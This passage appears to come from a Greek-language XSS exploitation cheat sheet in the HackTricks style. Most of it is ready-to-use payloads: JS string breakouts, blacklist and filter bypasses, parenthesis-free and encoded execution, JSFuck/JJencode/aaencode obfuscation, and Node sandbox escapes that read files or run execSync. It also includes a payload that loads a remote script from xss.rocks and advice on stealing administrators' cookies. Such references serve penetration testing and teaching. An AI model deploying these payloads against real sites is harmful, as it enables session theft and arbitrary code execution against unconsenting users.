Σημειώστε ότι σε αυτό το παράδειγμα δεν έχουμε καν κλείσει την απλή παράθεση. Αυτό συμβαίνει επειδή η ανάλυση HTML εκτελείται πρώτα από τον περιηγητή, η οποία περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων των μπλοκ σεναρίου. Η ανάλυση της JavaScript για να κατανοήσει και να εκτελέσει τα ενσωματωμένα σενάρια πραγματοποιείται μόνο αργότερα.

Μέσα στον κώδικα JS

Εάν τα <> απολυμαίνονται, μπορείτε ακόμα να διαφύγετε τη συμβολοσειρά όπου η είσοδός σας είναι τοποθετημένη και να εκτελέσετε αυθαίρετη JS. Είναι σημαντικό να διορθώσετε τη σύνταξη JS, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

Για να κατασκευάσετε strings εκτός από τα μονά και διπλά εισαγωγικά, η JS δέχεται επίσης backticks ``. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την ενσωμάτωση εκφράσεων JS χρησιμοποιώντας τη σύνταξη ${ ... }.
Επομένως, αν διαπιστώσετε ότι η είσοδός σας αντικατοπτρίζεται μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη ${ ... } για να εκτελέσετε τυχαίο JS κώδικα:

Αυτό μπορεί να εκμεταλλευτεί χρησιμοποιώντας:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Κωδικοποιημένη εκτέλεση κώδικα

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Unicode Encode JS execution

javascript
alert(1)
alert(1)
alert(1)

Τεχνικές παράκαμψης μαύρων λιστών JavaScript

Συμβολοσειρές

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Ειδικές διαφυγές

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Αντικαταστάσεις κενών μέσα στον κώδικα JS

javascript
<TAB>
/**/

Σχόλια JavaScript (από Σχόλια JavaScript κόλπο)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript νέες γραμμές (από JavaScript νέα γραμμή κόλπο)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript κενά

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript μέσα σε ένα σχόλιο

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript χωρίς παρενθέσεις

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Αυθαίρετη κλήση συνάρτησης (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

Ευπάθειες DOM

Υπάρχει κώδικας JS που χρησιμοποιεί μη ασφαλή δεδομένα που ελέγχονται από έναν επιτιθέμενο όπως το location.href. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.
Λόγω της επέκτασης της εξήγησης των ευπαθειών DOM, μεταφέρθηκε σε αυτή τη σελίδα:

DOM XSS

Εκεί θα βρείτε μια λεπτομερή εξήγηση για το τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε.
Επίσης, μην ξεχάσετε ότι στο τέλος της αναφερόμενης ανάρτησης μπορείτε να βρείτε μια εξήγηση σχετικά με επιθέσεις DOM Clobbering.

Αναβάθμιση Self-XSS

Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό είναι συνήθως ένα self-XSS. Ωστόσο, αν βρείτε ένα ευάλωτο υποτομέα σε XSS, θα μπορούσατε να εκμεταλλευτείτε αυτό το XSS για να εισάγετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα υποτομέα (αυτά που είναι ευάλωτα σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την επίθεση cookie tossing:

Cookie Tossing

Μπορείτε να βρείτε μια εξαιρετική εκμετάλλευση αυτής της τεχνικής σε αυτή την ανάρτηση blog.

Αποστολή της συνεδρίας σας στον διαχειριστή

Ίσως ένας χρήστης μπορεί να μοιραστεί το προφίλ του με τον διαχειριστή και αν το self XSS είναι μέσα στο προφίλ του χρήστη και ο διαχειριστής το αποκτήσει, θα ενεργοποιήσει την ευπάθεια.

Αντανάκλαση Συνεδρίας

Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει αντανάκλαση συνεδρίας για διαχειριστές, για παράδειγμα επιτρέποντας στους πελάτες να ζητούν βοήθεια, προκειμένου ο διαχειριστής να σας βοηθήσει, θα βλέπει αυτό που βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία.

Θα μπορούσατε να κάνετε τον διαχειριστή να ενεργοποιήσει το self XSS σας και να κλέψετε τα cookies/συνεδρία του.

Άλλες Παράκαμψεις

Κανονικοποιημένο Unicode

Μπορείτε να ελέγξετε αν οι αντανάκλαση τιμές κανονικοποιούνται σε unicode στον διακομιστή (ή στην πλευρά του πελάτη) και να εκμεταλλευτείτε αυτή τη λειτουργία για να παρακάμψετε τις προστασίες. Βρείτε ένα παράδειγμα εδώ.

Παράκαμψη σημαίας PHP FILTER_VALIDATE_EMAIL

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Λόγω της RoR μαζικής ανάθεσης εισάγονται αποσπάσματα στο HTML και στη συνέχεια παρακάμπτεται ο περιορισμός αποσπασμάτων και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.
Παράδειγμα φόρμας (from this report), αν στείλετε το payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Το ζεύγος "Key","Value" θα αναπαραχθεί όπως εξής:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Τότε, το χαρακτηριστικό onfocus θα εισαχθεί και θα συμβεί XSS.

Ειδικοί συνδυασμοί

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS με έγχυση κεφαλίδων σε απόκριση 302

Αν διαπιστώσετε ότι μπορείτε να εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect, μπορείτε να προσπαθήσετε να αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript. Αυτό δεν είναι απλό, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.

Στο αυτό το αναφορά και σε αυτό μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.
Προηγούμενα γνωστά πρωτόκολλα: mailto://, //x:1/, ws://, wss://, κενή κεφαλίδα Location, resource://.

Μόνο Γράμματα, Αριθμοί και Τελείες

Αν μπορείτε να υποδείξετε το callback που θα εκτελέσει το javascript περιορισμένο σε αυτούς τους χαρακτήρες. Διαβάστε αυτή την ενότητα αυτού του άρθρου για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.

Έγκυροι <script> Τύποι Περιεχομένου για XSS

(Από εδώ) Αν προσπαθήσετε να φορτώσετε ένα script με content-type όπως application/octet-stream, το Chrome θα ρίξει το εξής σφάλμα:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Οι μόνοι Content-Type που θα υποστηρίξουν το Chrome να εκτελέσει ένα φορτωμένο script είναι αυτοί που βρίσκονται μέσα στη σταθερά kSupportedJavascriptTypes από https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Τύποι Σεναρίων για XSS

(Από εδώ) Ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός σεναρίου;

html
<script type="???"></script>
  • module (προεπιλογή, τίποτα να εξηγήσω)
  • webbundle: Το Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα .wbn αρχείο.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Επιτρέπει τη βελτίωση της σύνταξης εισαγωγής
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Αυτή η συμπεριφορά χρησιμοποιήθηκε σε αυτή την αναφορά για να ανακατευθύνει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί, μπορεί να προκαλέσει XSS.

  • speculationrules: Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει ορισμένα προβλήματα που προκαλούνται από την προ-απόδοση. Λειτουργεί ως εξής:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types to XSS

(Από εδώ) Οι παρακάτω τύποι περιεχομένου μπορούν να εκτελέσουν XSS σε όλους τους περιηγητές:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα αυτό σε ένα CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

Σε άλλους περιηγητές μπορούν να χρησιμοποιηθούν άλλοι Content-Types για να εκτελέσουν αυθαίρετο JS, έλεγξε: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Αν η σελίδα επιστρέφει τύπο περιεχομένου text/xml είναι δυνατόν να υποδειχθεί ένα namespace και να εκτελεστεί αυθαίρετο JS:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Ειδικά Πρότυπα Αντικατάστασης

Όταν χρησιμοποιείται κάτι όπως "some {{template}} data".replace("{{template}}", <user_input>), ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει ειδικές αντικαταστάσεις συμβολοσειρών για να προσπαθήσει να παρακάμψει κάποιες προστασίες: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Για παράδειγμα, σε αυτή την αναφορά, αυτό χρησιμοποιήθηκε για να διαφύγει μια συμβολοσειρά JSON μέσα σε ένα σενάριο και να εκτελέσει αυθαίρετο κώδικα.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων για χρήση, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Αν τα πάντα είναι μη καθορισμένα πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε αυτή την αναφορά) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να εκμεταλλευτούμε την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:

  • Χρησιμοποιώντας import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Πρόσβαση στο require έμμεσα

Σύμφωνα με αυτό τα modules περιβάλλονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Επομένως, αν από εκείνο το module μπορούμε να καλέσουμε μια άλλη συνάρτηση, είναι δυνατόν να χρησιμοποιήσουμε arguments.callee.caller.arguments[1] από εκείνη τη συνάρτηση για να αποκτήσουμε πρόσβαση στο require:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να χρησιμοποιήσετε διαχειριστές σφαλμάτων για να αποκτήσετε πρόσβαση στο wrapper της μονάδας και να αποκτήσετε τη require συνάρτηση:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
